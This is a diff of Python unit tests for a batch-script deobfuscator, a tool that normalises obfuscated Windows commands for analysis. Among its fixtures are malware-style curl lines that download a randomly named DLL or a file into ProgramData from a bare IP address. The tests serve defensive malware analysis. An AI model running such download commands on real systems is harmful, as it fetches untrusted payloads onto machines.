@@ -157,6 +157,10 @@ def test_simple_set_a():
157
157
('set E^"E"X"P=43"' , 'echo *%E"E"X"P%*' , 'echo *43"*' ),
158
158
('set E"E^"X"P=43"' , 'echo *%E"E^"X"P%*' , 'echo *43"*' ),
159
159
("set ^|EXP=43" , "echo *%|EXP%*" , "echo *43*" ),
160
+ ("set EXP=43" , "echo *%EXP:/=\\ %*" , "echo *43*" ),
161
+ ("set EXP=43/43" , "echo *%EXP:/=\\ %*" , "echo *43\\ 43*" ),
162
+ ("set EXP=43" , "echo *%EXP:\\ =/%*" , "echo *43*" ),
163
+ ("set EXP=43\\ 43" , "echo *%EXP:\\ =/%*" , "echo *43/43*" ),
160
164
# TODO: Really, how should we handle that?
161
165
# 'set ""EXP=43'
162
166
# 'set'
@@ -335,24 +339,42 @@ def test_single_quote_var_name_rewrite_1():
335
339
assert deobfuscator .variables ["'" ] == "abbbc"
336
340
337
341
@staticmethod
338
- def test_args ():
342
+ @pytest .mark .parametrize (
343
+ "cmd, result" ,
344
+ [
345
+ ("echo %0" , "echo script.bat" ),
346
+ ("echo %1" , "echo " ),
347
+ ("echo %~0" , "echo script.bat" ),
348
+ ("echo %~1" , "echo " ),
349
+ ("echo %~s0" , "echo script.bat" ),
350
+ ("echo %~s1" , "echo " ),
351
+ ("echo %~f0" , "echo script.bat" ),
352
+ ("echo %~f1" , "echo " ),
353
+ ("echo %~d0" , "echo script.bat" ),
354
+ ("echo %~d1" , "echo " ),
355
+ ("echo %~p0" , "echo script.bat" ),
356
+ ("echo %~p1" , "echo " ),
357
+ ("echo %~z0" , "echo script.bat" ),
358
+ ("echo %~z1" , "echo " ),
359
+ ("echo %~a0" , "echo script.bat" ),
360
+ ("echo %~a1" , "echo " ),
361
+ # ("echo %~xsa0", "echo script.bat"),
362
+ # ("echo %~xsa1", "echo "),
363
+ ("echo %3c%3%A" , "echo cA" ),
364
+ ("echo %3c%3%A%" , "echo c" ),
365
+ ("echo %*" , "echo " ),
366
+ ("echo %*a" , "echo a" ),
367
+ ],
368
+ )
369
+ def test_args (cmd , result ):
339
370
deobfuscator = BatchDeobfuscator ()
340
371
341
- cmd = "echo %0"
342
372
res = deobfuscator .normalize_command (cmd )
343
- assert res == "echo script.bat"
344
-
345
- cmd = "echo %1"
346
- res = deobfuscator .normalize_command (cmd )
347
- assert res == "echo "
348
-
349
- cmd = "echo %3c%3%A"
350
- res = deobfuscator .normalize_command (cmd )
351
- assert res == "echo cA"
373
+ assert res == result
352
374
353
- cmd = "echo %3c%3%A%"
354
- res = deobfuscator . normalize_command ( cmd )
355
- assert res == "echo c"
375
+ @ staticmethod
376
+ def test_args_with_var ():
377
+ deobfuscator = BatchDeobfuscator ()
356
378
357
379
cmd = "set A=123"
358
380
deobfuscator .interpret_command (cmd )
@@ -470,6 +492,10 @@ def test_for():
470
492
"curl.exe -o C:\\ ProgramData\\ output\\ output.file 1.1.1.1/file.dat" ,
471
493
{"src" : "1.1.1.1/file.dat" , "dst" : "C:\\ ProgramData\\ output\\ output.file" },
472
494
),
495
+ (
496
+ 'curl ""http://1.1.1.1/zazaz/p~~/Y98g~~/"" -o 9jXqQZQh.dll' ,
497
+ {"src" : "http://1.1.1.1/zazaz/p~~/Y98g~~/" , "dst" : "9jXqQZQh.dll" },
498
+ ),
473
499
],
474
500
)
475
501
def test_interpret_curl (cmd , download_trait ):
@@ -551,3 +577,33 @@ def test_non_posix_powershell():
551
577
deobfuscator .interpret_command (cmd )
552
578
assert len (deobfuscator .exec_ps1 ) == 1
553
579
assert deobfuscator .exec_ps1 [0 ] == rb"C:\ProgramData\x64\ISO\x64.ps1"
580
+
581
+ @staticmethod
582
+ def test_anti_recursivity ():
583
+ deobfuscator = BatchDeobfuscator ()
584
+ cmd = 'set "str=a"'
585
+ deobfuscator .interpret_command (cmd )
586
+
587
+ cmd = 'set "str=!str:"=\\ "!"'
588
+ cmd2 = deobfuscator .normalize_command (cmd )
589
+ deobfuscator .interpret_command (cmd2 )
590
+
591
+ cmd = "echo %str%"
592
+ cmd2 = deobfuscator .normalize_command (cmd )
593
+
594
+ assert cmd2 == "echo a"
595
+
596
+ @staticmethod
597
+ def test_anti_recursivity_with_quotes ():
598
+ deobfuscator = BatchDeobfuscator ()
599
+ cmd = 'set "str=a"a"'
600
+ deobfuscator .interpret_command (cmd )
601
+
602
+ cmd = 'set "str=!str:"=\\ "!"'
603
+ cmd2 = deobfuscator .normalize_command (cmd )
604
+ deobfuscator .interpret_command (cmd2 )
605
+
606
+ cmd = "echo %str%"
607
+ cmd2 = deobfuscator .normalize_command (cmd )
608
+
609
+ assert cmd2 == 'echo a\\ "a'
0 commit comments